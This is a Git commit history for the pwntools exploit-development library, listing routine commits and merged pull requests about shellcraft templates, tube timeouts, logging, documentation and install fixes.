Compare commits

..
1359 Commits
Author SHA1 Message Date
Kristoffer Søholm dde3a2e415 Merge pull request #355 from Gallopsled/setup.py-openbsd
Ugly hack to be able to install on OpenBSD
2015-01-05 16:02:07 +01:00
Mathias Svensson 273ee96fc8 Ugly hack to be able to install on OpenBSD 2015-01-05 15:33:10 +01:00
Kristoffer Søholm 8a4ff79e4d Merge pull request #345 from Gallopsled/https-links
Use https instead of http wherever possible.
2015-01-05 12:42:26 +01:00
Mathias Svensson 8662141d45 Merge pull request #349 from Gallopsled/binutils-osx-remove
Remove all special handling for OSX binutils, since it is broken
2015-01-05 12:31:37 +01:00
Mathias Svensson d8cf68f563 Merge pull request #352 from Gallopsled/update-gitignore
Added robots.txt to gitignore
2015-01-05 12:31:10 +01:00
Kristoffer Søholm 6f0c3ccbb7 Added robots.txt to gitignore 2015-01-05 12:25:01 +01:00
Zach Riggle 24f25361c7 Remove all special handling for OSX binutils, since it is broken. Fixes #347
Conflicts:
	pwnlib/asm.py
2015-01-04 21:32:38 -05:00
Mathias Svensson faab1eb299 Use https instead of http wherever possible.
Note that this means that I changed a few of the links from
http://docs.pwntools.org to https://pwntools.readthedocs.org as we do
not currently have https on pwntools.com
2015-01-05 01:11:02 +01:00
Zach Riggle 6225901ba8 Merge pull request #343 from Gallopsled/iss-342
Throw an AttributeError on pwnlib.term.text when an unknown attribute is requested
2015-01-04 18:38:31 -05:00
Mathias Svensson 546fcf8ca7 Merge pull request #341 from Gallopsled/no-exe
Remove the executable bit from things that aren't scripts
2015-01-05 00:22:16 +01:00
Mathias Svensson 91288759c4 Fixed #342 2015-01-05 00:21:18 +01:00
Zach Riggle ff2b4463af Merge pull request #333 from Gallopsled/mega-commit-fixup
Replace instances of mov and int 0x80 with the ${mov} and ${syscall} templates
2015-01-04 18:18:49 -05:00
Zach Riggle ca4b7263f8 Remove the executable bit from things that aren't scripts 2015-01-04 15:05:56 -08:00
Robert Larsen c6ff8417e5 Merge pull request #331 from Gallopsled/amd64-update
Optimized mov, pushstr and syscall for amd64 and updated sh to use them
2015-01-05 00:02:54 +01:00
IdolfHatler facb9ca3a0 Merge pull request #313 from Gallopsled/shellcraft-push
Add ${push} for i386 and amd64 that just uses the pushstr code
2015-01-04 23:40:39 +01:00
Mathias Svensson 3fafbab48f And a doctest 2015-01-04 23:32:10 +01:00
Mathias Svensson 685aaa0458 I forgot a few things in the mega commit. Here they are 2015-01-04 23:29:58 +01:00
IdolfHatler 870e8c1878 Merge pull request #340 from RobertLarsen/thumb-echo
Added pushstr shellcode for thumb.
2015-01-04 23:28:12 +01:00
Mathias Svensson 30d85f07f4 I swear it worked in my machine before, but then somebody went ahead and merged my other PR without me noticing 2015-01-04 23:25:03 +01:00
Mathias Svensson b5a68b6f0b A bazillion doctests 2015-01-04 23:18:41 +01:00
Mathias Svensson a69b2229cb Optimized mov, pushstr and syscall for amd64 and updated sh to use them 2015-01-04 23:18:41 +01:00
Robert Larsen ef0c2173fa Added pushstr shellcode for thumb. 2015-01-04 22:49:58 +01:00
Jonas Rudloff f4d2be9c88 Merge pull request #337 from Gallopsled/shellcraft-newline-outside
Shellcraft functions will now have a single trailing newline
2015-01-04 19:58:46 +01:00
Mathias Svensson 8bb6595d38 Made the shellcode formatting a little nicer 2015-01-04 19:16:22 +01:00
Zach Riggle e796338d63 Merge pull request #334 from Gallopsled/use-specialized-first
Try the local assembler *last* instead of *first*.  Force custom-built assemblers to contain the substring 'linux'
2015-01-04 13:05:29 -05:00
Mathias Svensson c9ad57e159 Fixed a doctest 2015-01-04 19:05:06 +01:00
IdolfHatler 22a1f9760f Merge pull request #335 from Gallopsled/issue-263
Fix stackhunter and pushstr
2015-01-04 19:02:32 +01:00
Mathias Svensson 521e675ea9 Removed an unused argument, made the sign/endianness explicit for the pack 2015-01-04 18:59:28 +01:00
Zach Riggle 5da416a179 Merge pull request #329 from Gallopsled/log-geteffectivelevel
Fixed the behavior of `log.Logger.getEffectiveLevel`
2015-01-04 12:58:27 -05:00
Zach Riggle 79129c1d52 Add doctests 2015-01-04 12:44:03 -05:00
Zach Riggle 6752558254 Fix stackhunter and pushstr 2015-01-04 12:44:03 -05:00
IdolfHatler 2ba70b9433 Merge pull request #322 from Gallopsled/shellcraft-tests
Shellcraft tests
2015-01-04 18:40:59 +01:00
Mathias Svensson ccf26c19e2 Only try linux assemblers 2015-01-04 18:40:08 +01:00
Mathias Svensson 86b930bfb8 Shellcraft functions will now have a single trailing newline to their bodies, but only when called from outside shellcraft 2015-01-04 18:38:22 +01:00
Zach Riggle d15ef3e7a7 Merge pull request #332 from Gallopsled/remove-workaround
Removed the no-longer-needed workaround for #317
2015-01-04 12:26:24 -05:00
Zach Riggle 8b1d59bf0f Example 2015-01-04 12:23:43 -05:00
Mathias Svensson 5c89d6d116 We should try to use the non-local assembler before attempting to use the local assembler 2015-01-04 17:26:17 +01:00
Jonas Rudloff 15a5472b0e Merge pull request #327 from Gallopsled/correct-syscall-shellcode
Stopped using amd64.syscall and i386.syscall, as they will not work without a set context
2015-01-04 17:21:12 +01:00
Zach Riggle c71978e4c1 Restrict size of values pushed 2015-01-04 11:17:14 -05:00
Zach Riggle 71e2582949 Enable fall back to the literal entered by the user to support pushing registers 2015-01-04 11:16:28 -05:00
Zach Riggle f45dd08413 Add ${push} for i386 and amd64 that just uses the pushstr code 2015-01-04 11:16:28 -05:00
IdolfHatler 9d988bbda3 Merge pull request #312 from Gallopsled/shellcode
Made stager shellcode more readable + 21 /bin/sh shellcode(down from 25 bytes)
2015-01-04 17:11:49 +01:00
Jonas Rudloff 9d41fff8f2 make stager shellcode more readable 2015-01-04 17:00:28 +01:00
Mathias Svensson b8df835ef5 Removed the no-longer-needed workaround for #317 2015-01-04 16:14:46 +01:00
Jonas Rudloff 770e9dcc5d Merge pull request #326 from Gallopsled/sh-21-bytes
Made i386.linux.sh be 22 bytes again while keeping readability up
2015-01-04 14:28:16 +01:00
Mathias Svensson f25586d858 Fixed the docs 2015-01-04 14:22:20 +01:00
Mathias Svensson 2f22fc47af Compromise between readability and size of shellcode 2015-01-04 14:13:21 +01:00
Morten Brøns-Pedersen feb2dd3985 Changed the behavior of log.Logger.getEffectiveLevel
Before `log.Logger.getEffectiveLevel` would return the log level of the current context or the parent logger depending on which was more verbose.  This lead to some surprising behavior.  Example:
```
from pwn import *
context(log_level = 'DEBUG')

log.setLevel(logging.WARNING)
log.debug('debug')
log.info('info')
log.warning('warning')
```

We would expect to see only a warning, but since `context.log_level` is a more verbose level we will see all three messages.

This commit changes `log.Logger.getEffectiveLevel` to work exactly as `logging.Logger.getEffectiveLevel` except if the current logger is named 'pwnlib', in which case the log level of the current context is returned.
2015-01-04 13:28:03 +01:00
Kristoffer Søholm 8a8c7454ad Merge pull request #328 from Gallopsled/tubes-listen-close-bugfix
Check that a connection was actually established before calling `close` in `pwnlib.tubes.listen`.
2015-01-04 13:01:24 +01:00
Morten Brøns-Pedersen 13fa7855d6 check that a connection was actually established before calling close 2015-01-04 12:45:15 +01:00
Mathias Svensson 1fe4217e2a Updated a docstring 2015-01-04 11:41:59 +01:00
Mathias Svensson 3b872e9b33 Optimized the mov, pushstr and syscall shellcodes for less whitespace in the output 2015-01-04 11:41:49 +01:00
Mathias Svensson 66232941b0 Stopped using amd64.syscall and i386.syscall, as they will not work without a set context 2015-01-04 11:28:22 +01:00
Mathias Svensson 8d07ba6dc6 Made i386.linux.sh be 21 bytes again while keeping readability up 2015-01-04 11:26:41 +01:00
Zach Riggle b4ceaaeea4 Merge pull request #325 from Gallopsled/ui-bugfix
bugfix: changed `log.output` to `term.output` in `ui.options` and `ui.more` as `log.output` no longer exists
2015-01-03 23:22:57 -05:00
Morten Brøns-Pedersen 8b758cd43d bugfix: changed log.output to term.output in ui.options and ui.more as log.output no longer exists 2015-01-04 00:12:15 +01:00
Zach Riggle f465f11072 Merge pull request #318 from Gallopsled/shellcraft-docs
Include documentation for alternate architectures
2015-01-03 18:09:35 -05:00
br0ns 9297b23f41 Merge pull request #324 from Gallopsled/iss-307
Fixed #307
2015-01-04 00:05:57 +01:00
br0ns 9523cbccb9 Merge pull request #310 from Gallopsled/ssh-context-manager
Add a context manager, and put all of the doctests inside of them.  This...
2015-01-03 23:57:11 +01:00
Mathias Svensson 1ce101eb7c Fixed #307 2015-01-03 23:40:32 +01:00
Zach Riggle 90732d681f Merge pull request #302 from Gallopsled/asm-mega-rewrite
Enhance shellcraft by adding sys all templates and using {mov} to handle user input
2015-01-03 16:14:00 -05:00
Zach Riggle 19ddc24a0f Merge pull request #323 from Gallopsled/iss-317
Enable direct importation of shell craft modules.  Fixed #317
2015-01-03 16:11:31 -05:00
Mathias Svensson 395ff15c4c Fixed #317 2015-01-03 11:35:12 +01:00
Kristoffer Søholm 74583f9ad9 Merge pull request #282 from Gallopsled/psutil-getpid-debian-systemd
Remove references to "init" as PID 1
2015-01-03 02:36:39 +01:00
Zach Riggle 783deba7f4 Merge pull request #321 from Gallopsled/asm-binutils-link
Update binutils documentation link
2015-01-02 20:02:21 -05:00
Zach Riggle 3b9fac6115 Update binutils documentation link 2015-01-02 20:00:18 -05:00
Zach Riggle 02a7fb27fc Include documentation for alternate architectures 2015-01-02 19:34:27 -05:00
IdolfHatler 72539f7f64 Merge pull request #308 from Gallopsled/hex-trailing-L
Replace builtin hex with one that doesn't do stupid things
2015-01-03 00:53:03 +01:00
Zach Riggle 54a2c7ddaf Merge pull request #315 from Gallopsled/ftp-220-failure
Ignore what comes after 220 so we dont fail
2015-01-02 18:18:36 -05:00
Zach Riggle 0bdbc3ff0b Ignore what comes after 220 so we dont fail 2015-01-02 18:02:33 -05:00
IdolfHatler 0119dd2b64 Merge pull request #309 from Gallopsled/shellcraft-ret-value
Add return values for all RET shellcrafts
2015-01-02 22:26:46 +01:00
Zach Riggle d949c8e8a0 Add a context manager, and put all of the doctests inside of them. This should make the failures less verbose. 2015-01-02 15:51:01 -05:00
Zach Riggle 6a0262dd9f Replace builtin hex with one that doesn't do stupid things 2015-01-02 14:57:52 -05:00
Zach Riggle 29590a38db Add return values for all RET shellcrafts 2015-01-02 14:41:19 -05:00
Zach Riggle 362b16ba8e Merge pull request #306 from Gallopsled/import-cleanup
Another import cleanup
2015-01-02 14:12:49 -05:00
Mathias Svensson 7d97c1c82a Another import cleanup 2015-01-02 19:52:02 +01:00
Zach Riggle 8a2cd3bb0c Merge pull request #305 from Gallopsled/tube-recvn-recvrepeat-timeout
Fix timeout behavior for recvn and recvrepeat.  Fixes #303.
2015-01-02 13:35:56 -05:00
Zach Riggle 24942e01e7 Fix timeout behavior for recvn and recvrepeat 2015-01-02 13:32:12 -05:00
Zach Riggle d274105601 Merge branch 'countdown-active' 2015-01-02 13:04:59 -05:00
Zach Riggle c23d42e939 Fix countdown_active 2015-01-02 13:04:20 -05:00
Zach Riggle 32ac3e6e83 Merge pull request #268 from Gallopsled/tube-recvrepeat-timeout
The default timeout for `pwnlib.tubes.tube.recvrepeat()` should be short.  Set to 0.05s in this PR.
2015-01-02 12:45:02 -05:00
Mathias Svensson 5267f4cfe9 Yes, Travis did know. But only because doctests. 2015-01-02 17:07:50 +01:00
Mathias Svensson 538b688c05 Mega commit. I have no idea if this works and neither does Travis. 2015-01-02 14:53:24 +01:00
Robert Larsen bdb1201d1c Merge pull request #298 from Gallopsled/i386-echo
Added echo shellcode for i386
2015-01-02 14:10:38 +01:00
Robert Larsen 238364894e Merge pull request #297 from Gallopsled/pushstr-fix
There is no instruction called pushb
2015-01-02 14:08:30 +01:00
Robert Larsen 003b9e931c Merge pull request #296 from Gallopsled/update-links
Update module links in globals.rst
2015-01-02 14:02:05 +01:00
Robert Larsen 6f753740c7 Merge pull request #295 from Gallopsled/update-contributing
Updated CONTRIBUTING.md a bit
2015-01-02 14:01:20 +01:00
Robert Larsen eaed986668 Merge pull request #301 from Gallopsled/amd64-echo
Added amd64.linux.echo shellcode
2015-01-02 13:56:42 +01:00
Robert Larsen 9a59906b52 Merge pull request #299 from Gallopsled/amd64-pushstr
amd64.pushstr shellcode
2015-01-02 13:46:49 +01:00
Robert Larsen 4ff61fb9b9 Merge pull request #300 from Gallopsled/mov-fix
Fixed a bug in amd64.mov.
2015-01-02 13:32:53 +01:00
Mathias Svensson 742ae3dcd6 Added amd64.linux.echo shellcode 2015-01-02 13:12:22 +01:00
Mathias Svensson b89e932053 Fixed a bug in amd64.mov. 2015-01-02 13:08:30 +01:00
Mathias Svensson 869050bfd9 Added echo shellcode for i386 2015-01-02 13:07:06 +01:00
Mathias Svensson e43bf9ed74 amd64.pushstr shellcode 2015-01-02 13:04:44 +01:00
Mathias Svensson f54621db55 Updated the pushstr a bit more 2015-01-02 12:36:20 +01:00
Mathias Svensson 53654f66d4 There is no instruction called pushb 2015-01-02 11:50:55 +01:00
Mathias Svensson f6eff226c3 Update module links in globals.rst 2015-01-02 11:46:13 +01:00
Mathias Svensson e8e4ce0476 Updated CONTRIBUTING.md a bit 2015-01-02 11:35:47 +01:00
Robert Larsen d4a430596e Merge pull request #294 from Gallopsled/remove-binutils
Removed pre-compiled binutils as they are not used anymore
2015-01-02 11:20:31 +01:00
Mathias Svensson 1dfeb59acd Removed pre-compiled binutils as they are not used anymore 2015-01-02 11:17:50 +01:00
IdolfHatler e3b269ee5c Merge pull request #290 from Gallopsled/new-readme
Update README to point to new installation and contribution instructions
2015-01-02 11:11:42 +01:00
IdolfHatler 4d686214b8 Merge pull request #289 from Gallopsled/contributing
Add contributing.md
2015-01-02 11:11:33 +01:00
IdolfHatler 21bd92fa06 Merge pull request #288 from Gallopsled/installation-documentation
Add better documentation for installation.
2015-01-02 11:11:21 +01:00
IdolfHatler bd73e5032a Merge pull request #287 from Gallopsled/i386_to_amd64
Fix i386_to_amd64 and pushstr against GNU GAS syntax
2015-01-02 10:59:07 +01:00
Zach Riggle e5ee13c7ce Merge pull request #293 from Gallopsled/keepends
Change keep to keepends
2015-01-02 03:12:29 -05:00
Zach Riggle 235412903a Merge pull request #292 from Gallopsled/timeout-object-name
Give default timeout a name so that it looks better in the HTML documentation vs <object 0xFooBar>
2015-01-02 02:50:32 -05:00
Zach Riggle cfc8c04f5d Change keep to keepends 2015-01-02 02:49:08 -05:00
Zach Riggle b58d3f0f89 Give default timeout a name so that it looks better in the HTML documentation (vs. <object 0xf00bar>) 2015-01-02 02:36:48 -05:00
Zach Riggle ed308c5842 Merge pull request #291 from Gallopsled/tube-newline
Use user-provided newline
2015-01-02 02:01:35 -05:00
Zach Riggle 7c4f13e504 Use user-provided newline 2015-01-02 01:59:04 -05:00
Zach Riggle dbf5145bbf Remove references to "init" as PID 1 which is not accurate for Debian after switching to systemd.
Fixes #250
2015-01-01 23:55:53 -05:00
Zach Riggle 40e09baa71 Update README to point to new installation and contribution instructions 2015-01-01 23:39:19 -05:00
Zach Riggle 6eaed4082f Add contributing.md 2015-01-01 23:20:29 -05:00
Zach Riggle 8c29c2d41e Update doctests 2015-01-01 23:06:16 -05:00
Zach Riggle 84aae27d22 Add better documentation for installation.
Specifically, use "pip install -e" isntead of environment paths.
Give instructions for installing binutils.
2015-01-01 23:04:48 -05:00
Zach Riggle 33b70138db Fix i386_to_amd64 and pushstr against GNU GAS syntax 2015-01-01 22:13:42 -05:00
IdolfHatler 0e00dfa5f9 Merge pull request #283 from Gallopsled/issue-171
Fix weird interaction between tube, sock, and ssh_channel caused by a ra...
2015-01-02 00:20:06 +01:00
Zach Riggle 3c528bce11 Fix weird interaction between tube, sock, and ssh_channel caused by a race condition on whether the return value would propagate quickly when calling .recvall().
Fixes #171
2015-01-01 17:58:47 -05:00
Zach Riggle 38ab3d59e3 Change behavior of .clean to return the data received 2015-01-01 16:20:01 -05:00
Zach Riggle 67d27c33fc Merge pull request #281 from Gallopsled/safeeval-in-toplevel-documentation
Added documentation for #278
2015-01-01 16:09:20 -05:00
Zach Riggle 4209d90daa Merge pull request #261 from Gallopsled/import-cleanup
Big import cleanup. Also removes context.context.thread
2015-01-01 15:57:29 -05:00
IdolfHatler 90afaa5817 Merge pull request #249 from zachriggle/ssh-travis
SSH Tests on Travis
2015-01-01 21:33:52 +01:00
Mathias Svensson 82db1ad0ab Updated some documentation for pwnlib.context.Thread and removed the lower-case alias for it 2015-01-01 21:27:29 +01:00
Zach Riggle 25ece1dcfe Move Thread underneath the ContextType class so that pwnlib.context.Thread == pwnlib.context.context.Thread 2015-01-01 21:24:18 +01:00
Mathias Svensson a69fb15fd7 Removed a cycle, that was unnecessary anyways 2015-01-01 21:23:54 +01:00
Mathias Svensson 00d919966b Re-added a removed re-export, because I thought it was a normal import 2015-01-01 21:23:54 +01:00
Mathias Svensson da40529b7e Added the right Thread top toplevel 2015-01-01 21:23:54 +01:00
Mathias Svensson ea058d20ae Make it pass tests (maybe?) 2015-01-01 21:23:54 +01:00
Mathias Svensson 0f1a445a89 Big import cleanup. Also removes context.context.thread 2015-01-01 21:23:54 +01:00
Mathias Svensson e8b92c6bed Added documentation for #278 2015-01-01 21:14:24 +01:00
Zach Riggle 566448e34c Split SSH setup into its own file 2015-01-01 15:13:51 -05:00
Zach Riggle bb3d98f95b Enable testing SSH on Travis CI 2015-01-01 15:10:12 -05:00
IdolfHatler fbd7bb69d9 Merge pull request #280 from Gallopsled/timeout-None-forever
Make ssh object inherit from Timeout so that it can use Timeout.default ...
2015-01-01 21:00:34 +01:00
IdolfHatler 93396dd3da Merge pull request #275 from Gallopsled/asm-osx-sane
Make pwnlib.asm.asm more robust
2015-01-01 20:57:16 +01:00
IdolfHatler 8b8cae8b5c Merge pull request #276 from Gallopsled/travis-install-script
Split Travis installation steps into its own script
2015-01-01 20:55:09 +01:00
Zach Riggle 66aeaec73c Make ssh object inherit from Timeout so that it can use Timeout.default and the related semantics 2015-01-01 14:55:01 -05:00
Zach Riggle e79dac429d Merge pull request #279 from Gallopsled/timeout-None-forever
Update Timeout semantics in a few more places
2015-01-01 14:39:54 -05:00
Zach Riggle 9b66afbb41 Update semantics in a few more places 2015-01-01 14:36:55 -05:00
Zach Riggle 27813a86e8 Merge pull request #255 from zachriggle/timeout-None-forever
Update Timeout semantics
2015-01-01 14:24:33 -05:00
Zach Riggle cce361da90 Merge pull request #278 from Gallopsled/safeeval-in-toplevel
Added safeeval toplevel
2015-01-01 14:19:02 -05:00
Zach Riggle feea70aba3 Clean up a bit more 2015-01-01 14:17:03 -05:00
Zach Riggle 02ffff6f76 Fix regression from 023b7ba 2015-01-01 14:15:38 -05:00
Morten Brøns-Pedersen 023b7baf47 cleaned code up a bit 2015-01-01 14:01:47 -05:00
Morten Brøns-Pedersen 1a8090d29e more slight performance improvements in pwnlib.tubes.tube 2015-01-01 14:01:47 -05:00
Morten Brøns-Pedersen 3aac624b56 slight performance improvement in pwnlib.tubes.tube.recvuntil() 2015-01-01 14:01:47 -05:00
Zach Riggle 5b45bd957b Fix regressions and get performance back up 2015-01-01 14:01:47 -05:00
Zach Riggle cf9c5d6ee9 Change Timeout module path 2015-01-01 14:01:47 -05:00
Zach Riggle 199c7869ac Update Timeout semantics to use None to imply "never", and to use a sentinel object for default timeouts 2015-01-01 14:01:47 -05:00
Zach Riggle 84e4444923 Merge pull request #271 from Gallopsled/readline-utf8
Make `pwnlib.term.readline()` return a utf8 encoded `str` instead of a `unicode`.  This is the behavoir of the built-in readline, so we should mimic that.
2015-01-01 13:24:16 -05:00
Mathias Svensson 208ef471c6 Added safeeval toplevel 2015-01-01 17:07:21 +01:00
Zach Riggle 063a1a465e Binutils for alternate architectures doesn't add the LC_SEGMENT crap. The -j flag takes wildcards, so use it. Verified with stock binutils and binutils-sparc built via homebrew 2014-12-30 15:39:36 -05:00
Zach Riggle 214862e4f7 Split Travis installation steps into its own script so we can check the OS 2014-12-30 15:32:16 -05:00
Zach Riggle a10dc9d920 Merge pull request #254 from zachriggle/autoprogram
Enable autogeneration of command-line tool documentation
2014-12-30 13:09:58 -05:00
Zach Riggle 35ef5589b6 Remove tabs 2014-12-30 11:10:01 -05:00
Zach Riggle b596f0d6b6 Merge pull request #264 from Gallopsled/tube-log-debug
bugfix: use correct log level in `pwnlib.tubes.tube`
2014-12-30 10:48:30 -05:00
Zach Riggle 1fd84d5389 Merge pull request #267 from Gallopsled/tube-bugfix-recvline-contains
bugfix: `pwnlib.tubes.tube.recvline_contains` now works when a single item is given
2014-12-30 10:47:21 -05:00
Zach Riggle 34e6bab46a Merge pull request #269 from Gallopsled/tube-recvall-logging
Logging in `pwnlib.tubes.tube.recvall()` reported a wrong size upon completion. Fixed that.
2014-12-30 10:29:15 -05:00
Zach Riggle d33499f660 Merge pull request #270 from Gallopsled/log-waitfor-bugfix
Removed duplicate status throttling used by `pwnlib.log.waitfor`.
2014-12-30 10:28:27 -05:00
Morten Brøns-Pedersen b348c1821d make pwnlib.term.readline() return a utf8 encoded str instead of a unicode 2014-12-30 14:49:27 +01:00
Morten Brøns-Pedersen 9caf00b8e3 removed duplicate status throttling used by pwnlib.log.waitfor 2014-12-30 13:25:41 +01:00
Morten Brøns-Pedersen 9ccd0f4c12 bugfix: fixed logging in pwnlib.tubes.tube.recvall() 2014-12-30 13:20:39 +01:00
Morten Brøns-Pedersen 275ba56338 added doctests to pwnlib.tubes.tube.recvline_contains() 2014-12-30 12:58:49 +01:00
Morten Brøns-Pedersen b3cd49de98 bugfix: pwnlib.tubes.tube.recvline_contains now works when a single item is given 2014-12-27 22:06:19 +01:00
Zach Riggle 95b7aed1e2 Merge pull request #266 from Gallopsled/log-show-spinner-immediately
bugfix: show spinners immediately
2014-12-27 15:08:26 -05:00
Zach Riggle a4751a617c Merge pull request #265 from Gallopsled/tube-clean-and-log
better logging output in `pwnlib.tubes.tube.clean_and_log`
2014-12-27 15:07:35 -05:00
Morten Brøns-Pedersen 3bf3145b4c updated doctest 2014-12-27 20:57:10 +01:00
Morten Brøns-Pedersen 213936fead bugfix: show spinners immediately 2014-12-27 19:38:01 +01:00
Morten Brøns-Pedersen b235e4f42a better logging output in pwnlib.tubes.tube.clean_and_log 2014-12-27 19:13:53 +01:00
Kristoffer Søholm 2c92f24eb9 Merge pull request #262 from Gallopsled/stagershellcode
stager shellcode and findpeerstager shellcode
2014-12-27 19:10:42 +01:00
Jonas Rudloff 97097743b8 get stager shellcode to use i386.mov 2014-12-27 19:08:35 +01:00
Morten Brøns-Pedersen 8335f611be bugfix: use correct log level in pwnlib.tubes.tube 2014-12-27 19:06:32 +01:00
IdolfHatler a1d7152855 Merge pull request #259 from Gallopsled/log-waitfor-default-success
If not explicitly set, spinners are marked as succeeded unless an exception was raised in which case they are marked as failed.
2014-12-27 13:37:28 +01:00
IdolfHatler ababe3d3f2 Merge pull request #257 from Gallopsled/log-remove-done-functions
Gets rid of `pwnlib.log.done_*`, since we no longer have a spinner stack.  "Fixes" #229.
2014-12-27 13:36:45 +01:00
Morten Brøns-Pedersen 3c1b61eb4d if not explicitly set, spinners are marked as succeeded unless an exception was raised in which case they are marked as failed 2014-12-27 13:28:27 +01:00
Morten Brøns-Pedersen 56a8f1438b updated pwnlib.util.proc.wait_for_debugger() to not use pwnlib.log.done_success() 2014-12-27 13:02:56 +01:00
Morten Brøns-Pedersen a5062ed77f updated pwnlib.ui.pause() to not use pwnlib.log.done_success() 2014-12-27 13:00:44 +01:00
Morten Brøns-Pedersen fcbda7276e updated pwnlib/data/useragents/download-useragents.py to not use pwnlib.log.done_success() 2014-12-27 12:58:16 +01:00
Morten Brøns-Pedersen e00f417d19 removed pwnlib.log.done_* 2014-12-27 12:33:54 +01:00
Jonas Rudloff 59804af704 stager shellcode and findpeerstager shellcode 2014-12-27 12:17:36 +01:00
br0ns 30f2f9ef14 Merge pull request #256 from Gallopsled/text-when
removed `pwnlib.term.text.enabled` in favor of `pwnlib.term.text.when`
2014-12-27 12:12:21 +01:00
Morten Brøns-Pedersen 22b49e2f6a removed pwnlib.term.text.enabled in favor of pwnlib.term.text.when 2014-12-27 12:05:59 +01:00
Zach Riggle 637635e9f6 Restrict the scope of the modified context defaults so we don't break everything else 2014-12-26 17:39:40 -05:00
Zach Riggle a79663e59c Get rid of test text 2014-12-26 17:33:25 -05:00
Zach Riggle 8be05dd3eb Update requirements.txt 2014-12-26 17:29:58 -05:00
Zach Riggle b06998a740 Break commit into two parts for proper rename tracking 2014-12-26 17:29:58 -05:00
Zach Riggle 46db5ee48a Enable autogeneration of command-line tool documentation from the help output. In order to achieve this, we move from having a "bin" directory to using the "entry_points" mechanism. 2014-12-26 17:29:54 -05:00
Zach Riggle 25bef46da9 Merge pull request #243 from zachriggle/recvline-contains
Add a recvline_contains routine. Fixes #239.
2014-12-26 12:22:50 -05:00
Zach Riggle 8a72aba912 Merge pull request #248 from zachriggle/tube-recvuntil-str-find-bufsize-fastpath2
Improve tube performance. Fixes #238
2014-12-26 12:22:03 -05:00
Zach Riggle 943aad7a66 Merge pull request #253 from kristoff3r/amd64-mov-shellcode
Add mov shellcode for amd64
2014-12-26 12:20:28 -05:00
Zach Riggle 38af8aceb9 Finish docstring and add test 2014-12-25 15:30:22 -05:00
Kristoffer Søholm 9d94de9565 Merge pull request #247 from zachriggle/dynelf-nodecorator
Add DynELF example and documentation.  Remove requirement for MemLeak decorator.
2014-12-25 21:26:06 +01:00
Kristoffer Søholm a86a00ae9d Add mov shellcode for amd64 2014-12-25 21:11:28 +01:00
Zach Riggle de9dc3267a Merge pull request #252 from Gallopsled/feature-i386-mov-shellcode
Ported old mov shellcode for i386
2014-12-25 13:29:25 -05:00
Kristoffer Søholm 5ba1dcc0f1 Fixed details 2014-12-25 19:17:11 +01:00
Kristoffer Søholm f16966ab0b Ported old mov shellcode for i386 2014-12-25 19:04:47 +01:00
Morten Brøns-Pedersen 1c0d37597d tighter code in pwnlib.tubes.tube.recvuntil() 2014-12-25 16:06:10 +01:00
Zach Riggle aa1f3c1ad4 Fix regression which causes infinite loop 2014-12-24 23:27:47 -05:00
Zach Riggle e885635114 Fix doctest so it can be copy-pasted 2014-12-24 19:45:49 -05:00
Zach Riggle 358b5e1ff0 Fix syntax error and some of the tests 2014-12-24 19:07:28 -05:00
Zach Riggle 1255aa9c3a Remove double call to settimeout_raw. This is set via property update. See timeout_change. 2014-12-24 18:35:13 -05:00
Zach Riggle 2c1f357d39 Fastpath2. Minor optimizations 2014-12-24 18:30:51 -05:00
Zach Riggle cb9a39959c Add recvline_contains routine 2014-12-24 18:00:31 -05:00
Zach Riggle 56fd66f73b Fast paths for timeout 2014-12-24 11:53:18 -05:00
Zach Riggle 2a993650b2 Reduce buffer size to 4096 2014-12-24 11:46:39 -05:00
Zach Riggle 11f2671e33 Add DynELF example and documentation. Remove requirement for MemLeak decorator. 2014-12-24 09:24:44 -05:00
IdolfHatler e0563cbb70 Merge pull request #244 from zachriggle/recvall-recvrepeat-break-on-eoferror
Break on EOFError for recvrepeat and recvall
2014-12-23 17:23:22 +01:00
Zach Riggle acdc6bce86 Break on EOFError for recvrepeat 2014-12-23 11:06:35 -05:00
Zach Riggle 6747db60a1 Replace re.search with string.find 2014-12-23 11:03:55 -05:00
Zach Riggle 7e01b03090 Merge pull request #236 from RobertLarsen/master
Added two characters to the list of regex special chars.
2014-12-23 07:45:57 -05:00
Robert Larsen cfe29e7948 Added two characters to the list of regex special chars. 2014-12-23 13:23:29 +01:00
br0ns ea46132af6 Merge pull request #235 from Gallopsled/hexdump-nonprintable-chars
hexdump now shows non-printable chars as dots, and regards space as printable
2014-12-23 13:21:18 +01:00
Morten Brøns-Pedersen 54736623de hexdump now shows non-printable chars as dots, and regards space as printable 2014-12-23 14:06:37 +01:00
IdolfHatler 65037a6d00 Merge pull request #234 from Gallopsled/missing-docs-issue-215
Fixed #215
2014-12-23 12:39:34 +01:00
Morten Brøns-Pedersen 92b311d655 fixed broken doctest in pwnlib.util.web.wget 2014-12-23 13:01:02 +01:00
Morten Brøns-Pedersen abdf0100e4 added docstring to pwnlib.util.hashes 2014-12-23 13:00:22 +01:00
Morten Brøns-Pedersen 3cfca21ace updated docstring and fixed broken doctest 2014-12-23 12:59:47 +01:00
Morten Brøns-Pedersen d997a6922a added util/web.rst 2014-12-23 12:59:04 +01:00
Morten Brøns-Pedersen 6855077ebd added util/hashes.rst 2014-12-23 12:58:52 +01:00
Morten Brøns-Pedersen 7d590c974c added useragents.rst 2014-12-23 12:58:39 +01:00
br0ns 1f61ea8600 Merge pull request #208 from Gallopsled/log_error_exception
Implements the changes suggested in #207.
2014-12-23 11:25:26 +01:00
IdolfHatler 11f33fba1b Merge pull request #228 from Gallopsled/atexception
updated `atexception` to act like the the new `atexit`
2014-12-23 11:08:10 +01:00
IdolfHatler ab746c786d Merge pull request #227 from Gallopsled/atexit-issue-120-and-121
fixes #120 and #121
2014-12-23 10:48:41 +01:00
IdolfHatler 0c870a4e34 Merge pull request #232 from Gallopsled/readline
fixes #231
2014-12-23 10:46:10 +01:00
Morten Brøns-Pedersen 5b70db89b8 bugfix: declare suggest_handle as global 2014-12-23 03:24:05 +01:00
Morten Brøns-Pedersen f685b1af2d updated atexception to mimic the new atexit 2014-12-23 02:28:44 +01:00
Morten Brøns-Pedersen 6d58217ac9 removed unused import 2014-12-23 02:25:42 +01:00
IdolfHatler 0fa91a66fc Merge pull request #230 from Gallopsled/download-useragents
Updated the list of useragents
2014-12-23 02:17:15 +01:00
Morten Brøns-Pedersen 3d90e3012d updated the list of useragents 2014-12-23 02:56:36 +01:00
Morten Brøns-Pedersen bfb59a6e98 download-useragents.py now never removes a user agent from the list 2014-12-23 02:55:57 +01:00
Morten Brøns-Pedersen db4c824603 fixed docstring for atexit.register 2014-12-23 01:44:54 +01:00
Morten Brøns-Pedersen 08715e4eb3 fixes #120 and #121 2014-12-23 00:17:53 +01:00
